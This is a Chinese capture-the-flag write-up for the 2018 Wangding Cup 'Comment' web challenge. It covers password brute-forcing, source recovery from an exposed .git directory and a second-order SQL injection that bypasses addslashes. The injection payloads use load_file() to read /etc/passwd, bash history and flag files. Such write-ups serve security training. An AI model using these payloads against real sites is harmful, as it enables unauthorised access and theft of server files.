网鼎杯 2018Comment

又是什么都没有的页面
写文章发现得登录

1
提示了zhangwei zhangwei*** 

直接输搞不了 这***是要替换的
burp爆破一下就OK了

扫后台 .git
githacker可以弄一波
https://github.com/wangyihang/githacker 这个才能将整个包爬下来
感觉原源代码不完整修复一下

1
git log --reflog 

看一下操作记录

恢复文件

1
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

163.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>


完整源码

加入了addslashes()进行过滤准备的但是这也能造成漏洞点

这边有俩功能一个发帖(write)一个评论(comment)
都有addslashes()进行转义但仅限于写入过程 读取并没有 就可以进行二次注入
二次注入表现为,addslashes过滤后产生的\不会进入数据库,即’1过滤后变成'1,进入库中却仍为’1,我们在取出数据后就可以进行闭合
闭合了单引号后还需要注释 #只能用于单行注释 多行注释需要

1
/**/ 

从而进行拼接的注释完成注册后comment 写

1
*/# 

拼接起来就可以造成闭合了
写的地方构造category为

1
', content=user(),/*

留言处输入

164.PNG

1
*/# 

最后表现形式为

1
2
3
4
$sql = "insert into comment
set category = ' ',content=user(), /*',
content = '*/#',
bo_id = '$bo_id'";

165.PNG

相当于构造了新的content, 原来的被/**/注释掉了完成了二次注入

这边用户为root如此高级的权限

1
2
3
尝试load_file()读取文件

', content=load_file('/etc/passwd'),/*

166.PNG

1
2
3
4
', content=load_file('/home/www/.bash_history'),/*
读取历史操作

.DS_Store在html里面还有

走起

1
', content=hex(load_file('/tmp/html/.DS_Store')),/*

得到一串十六进制数据
解码一下

167.PNG

然后

1
', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/* 

这是假的flag
换一个目录读取

1
', content=load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/*

168.PNG